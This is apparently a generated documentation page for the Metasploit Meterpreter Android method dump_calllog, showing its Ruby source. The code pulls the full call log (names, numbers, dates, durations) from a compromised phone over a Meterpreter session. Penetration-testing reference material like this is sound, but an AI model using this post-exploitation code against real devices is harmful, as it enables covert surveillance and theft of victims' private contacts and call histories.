Method: Rex::Post::Meterpreter::Extensions::Android::Android#dump_calllog

Defined in:
lib/rex/post/meterpreter/extensions/android/android.rb

#dump_calllogObject



228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
# File 'lib/rex/post/meterpreter/extensions/android/android.rb', line 228

def dump_calllog
  log = []
  request = Packet.create_request('dump_calllog')
  response = client.send_request(request)

  response.each(TLV_TYPE_CALLLOG_GROUP) do |p|
    log << {
      'name' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_NAME).value),
      'number' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_NUMBER).value),
      'date' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_DATE).value),
      'duration' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_DURATION).value),
      'type' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_TYPE).value)
    }
  end
  log
end